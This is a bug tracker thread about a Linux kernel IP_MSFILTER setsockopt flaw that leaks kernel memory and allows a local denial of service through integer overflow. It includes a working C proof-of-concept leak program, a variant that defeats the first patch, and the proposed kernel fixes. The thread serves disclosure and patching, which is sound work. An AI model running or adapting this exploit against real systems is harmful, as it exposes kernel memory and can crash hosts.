Problem Description: this is a security vulnerability. setsockopt() syscall IP_MSFILTER option will leak kernel memory information because of logic error. imsf_numsrc member of struct ip_msfilter is data submitted by the user. when setsockopt()'s optlen is smaller than IP_MSFILTER_SIZE(imsf_numsrc), kernel will copy unnecessary data (line 1871 of net/ipv4/igmp.c). this data is acquirable using getsockopt() syscall with IP_MSFILTER option. PS1: each macro of IP_MSFILTER_SIZE, IP_SFLSIZE, and GROUP_FILTER_SIZE awakes integer overflow, when the value given by the user is used as it was. # IP_MSFILTER option, MCAST_MSFILTER option this leads to the ability of a local user to crash a kernel (DoS). PS2: ipv6 setsockopt() MCAST_MSFILTER option also has the same problem. Steps to reproduce: // this is a sample code. ---------------------------------------------------------------------- #include <unistd.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #define MCAST_INCLUDE 1 #define IP_MSFILTER 41 struct ip_msfilter { unsigned int imsf_multiaddr; unsigned int imsf_interface; unsigned int imsf_fmode; unsigned int imsf_numsrc; unsigned int imsf_slist[1]; }; #define IP_MSFILTER_SIZE(numsrc) \ (sizeof(struct ip_msfilter) - sizeof(unsigned int) \ + (numsrc) * sizeof(unsigned int)) #define SIZE 1024 #define MULTICAST "224.0.0.0" #define ADDR "192.168.0.3" /* interface addr */ int main(int argc,char *argv[]) { int i,j,s,ret,len; struct ip_mreqn mreq; struct ip_msfilter *imsfp; char buf[IP_MSFILTER_SIZE(SIZE)]; s = socket(PF_INET,SOCK_STREAM,0); printf("socket s[%d]\n",s); if(s==-1) return -1; mreq.imr_multiaddr.s_addr = inet_addr(MULTICAST); mreq.imr_address.s_addr = inet_addr(ADDR); mreq.imr_ifindex = 0; ret = setsockopt(s,SOL_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq)); printf("setsockopt1 ret[%d]\n",ret); if(ret) return -2; while(getchar()!=EOF) { memset(buf,0,sizeof(buf)); imsfp = (struct ip_msfilter *)buf; imsfp->imsf_multiaddr = (unsigned int)inet_addr(MULTICAST); imsfp->imsf_interface = (unsigned int)inet_addr(ADDR); imsfp->imsf_fmode = MCAST_INCLUDE; imsfp->imsf_numsrc = SIZE; ret = setsockopt(s,SOL_IP,IP_MSFILTER,buf,IP_MSFILTER_SIZE(0)); printf("setsockopt2 ret[%d]\n",ret); if(ret) break; len = sizeof(buf); ret = getsockopt(s,SOL_IP,IP_MSFILTER,buf,&len); printf("getsockopt ret[%d] len[%d]\n",ret,len); if(ret) break; printf("---"); for(i=IP_MSFILTER_SIZE(0);i<len;i++) { printf("\n"); for(j=0;j<16&&(i+j)<len;j++) printf("%02x ",buf[i+j]&0xff); if(j!=16) { for(;j<16;j++) printf(" "); } printf(" | "); for(j=0;j<16&&(i+j)<len;j++) { if(isprint(buf[i+j])) printf("%c",buf[i+j]); else printf("."); } i += j; } printf("\n---\n"); } close(s); return 0; } ---------------------------------------------------------------------- // this is a patch ONLY to the problem of ipv4 setsockopt() IP_MSFILTER option. ---------------------------------------------------------------------- --- ip_sockglue.c-2.6.3 Wed Feb 18 12:57:21 2004 +++ ip_sockglue.c Thu Feb 19 01:05:39 2004 @@ -631,6 +631,15 @@ kfree(msf); break; } + /* + * ip_msfilter's imsf_slist and ip_sf_socklist's sl_addr are the + * same sizes (__u32). therefore, a required check is only this. + */ + if(((IP_SFLSIZE(msf->imsf_numsrc) - IP_SFLSIZE(0)) < msf->imsf_numsrc) || + (IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen)) { + kfree(msf); + goto e_inval; + } err = ip_mc_msfilter(sk, msf, 0); kfree(msf); break; ----------------------------------------------------------------------
Hi, Am entering the following from Dave Stevens, who looked into the problem. Closing the bug, let me know if you have any questions, or contact Dave at dlstevens at us dot ibm dot com. Also attaching the patch he provided. thanks, Nivedita ---- I was able to reproduce the bug that allowed read-access to kernel buffers beyond the allocated temporary buffer, and have added that portion of your proposed patch (thanks!). The test for overflow in your patch confused me, because it failed to take into account that numsrc is an address count and the macros produce byte counts. Also, IP_SFLSIZE is an unrelated macro-- it should be IP_MSFILTERSIZE() for that test. These are corrected and simplified in the patch below, since an overflow has occurred any time IP_MSFILTER_SIZE(msf->numsrc) is less than that of "0". Bogus values for optlen are protected by the fact that they are sock_kmalloc'ed (a limit size), but the temporary buffer can be arbitrarily large, though it's ok to fail. I've added a test to restrict the size of optlen, as well. I have not addressed the issue you mention of optlen being larger than imsf_numsrc implies causing unnecessary data to be copied from user space. That's true, but it avoids doing two copyin's and sticking them together. Users that use the macros for setsockopt()'s optlen will have the exact size and users that don't will not. Thanks for reporting the problem! +-DLS
Created attachment 2218 [details] Patch from Dave for 2135
i'm sorry that explanation is insufficient... > (IP_SFLSIZE(msf->imsf_numsrc) - IP_SFLSIZE(0)) < msf->imsf_numsrc this is a check for guaranteeing that the value of msf->imsf_numsrc is smaller than 0x40000000 (on 32bit environment)... # yes, i know, this method may be lame :) this (or similar check) is required. e.g. on 32bit environment, IP_MSFILTER_SIZE(0) == IP_MSFILTER_SIZE(0x40000000) == IP_MSFILTER_SIZE(0x80000000) == IP_MSFILTER_SIZE(0xc0000000) cause integer overflow... in net/ipv4/igmp.c ip_mc_msfilter() func, -------------------------------------------------------------------------------- newpsl = (struct ip_sf_socklist *)sock_kmalloc(sk, IP_SFLSIZE(msf->imsf_numsrc), GFP_KERNEL); --- snip --- newpsl->sl_max = newpsl->sl_count = msf->imsf_numsrc; memcpy(newpsl->sl_addr, msf->imsf_slist, msf->imsf_numsrc * sizeof(msf->imsf_slist[0])); -------------------------------------------------------------------------------- thanks for ip_msfilter's imsf_slist and ip_sf_socklist's sl_addr are the same sizes (__u32), memcpy() is no problem. # btw, since the code of ipv6 is processed by the loop, it crashes here. however, newpsl->sl_count is corrupted by the bogus value. in net/ipv4/igmp.c ip_mc_msfget() func, -------------------------------------------------------------------------------- if (!psl) { len = 0; count = 0; } else { count = psl->sl_count; } copycount = count < msf->imsf_numsrc ? count : msf->imsf_numsrc; len = copycount * sizeof(psl->sl_addr[0]); msf->imsf_numsrc = count; if (put_user(IP_MSFILTER_SIZE(copycount), optlen) || copy_to_user((void *)optval, msf, IP_MSFILTER_SIZE(0))) { return -EFAULT; } if (len && copy_to_user((void *)&optval->imsf_slist[0], psl->sl_addr, len)) return -EFAULT; return 0; -------------------------------------------------------------------------------- copycount is set to msf->imsf_numsrc when msf->imsf_numsrc is smaller than count (this is above mentioned bogus value). # count is signed, but msf->imsf_numsrc is unsigned, # so comparison is performed as unsigned... consequently, almost arbitrary values can be assigned to len. // this is a sample.c -> sample2.c patch // sample2.c reproduces a problem even if Dave's patch is applied -------------------------------------------------------------------------------- --- sample.c Thu Feb 26 02:12:25 2004 +++ sample2.c Thu Feb 26 02:13:21 2004 @@ -53,12 +53,13 @@ imsfp->imsf_multiaddr = (unsigned int)inet_addr(MULTICAST); imsfp->imsf_interface = (unsigned int)inet_addr(ADDR); imsfp->imsf_fmode = MCAST_INCLUDE; - imsfp->imsf_numsrc = SIZE; + imsfp->imsf_numsrc = 0x80000000; // this assumes the 32bit environment... ret = setsockopt(s,SOL_IP,IP_MSFILTER,buf,IP_MSFILTER_SIZE(0)); printf("setsockopt2 ret[%d]\n",ret); if(ret) break; + imsfp->imsf_numsrc = SIZE; len = sizeof(buf); ret = getsockopt(s,SOL_IP,IP_MSFILTER,buf,&len); printf("getsockopt ret[%d] len[%d]\n",ret,len); -------------------------------------------------------------------------------- primarily, my patch should have been checked as follows. -------------------------------------------------------------------------------- if(((IP_SFLSIZE(msf->imsf_numsrc) - IP_SFLSIZE(0)) < msf->imsf_numsrc) || ((IP_MSFILTER_SIZE(msf->imsf_numsrc) - IP_MSFILTER_SIZE(0)) < msf->imsf_numsrc) || (IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen)) { -------------------------------------------------------------------------------- however, since ip_msfilter's imsf_slist and ip_sf_socklist's sl_addr are the same sizes, the 2nd line is omissible. in ipv6 code, since group_filter's gf_slist (struct __kernel_sockaddr_storage) and ip6_sf_socklist's sl_addr (struct in6_addr) sizes differ, it is necessary to check firmly. hope this helps. :) Respectfully, hsj
Thanks for the testing and info..I'll have Dave look into it :). Nivedita
I think that this was already resolved. If so, please close this entry. thanks.
sorry, i forgot to close an entry. this bug was already fixed. :) Respectfully, hsj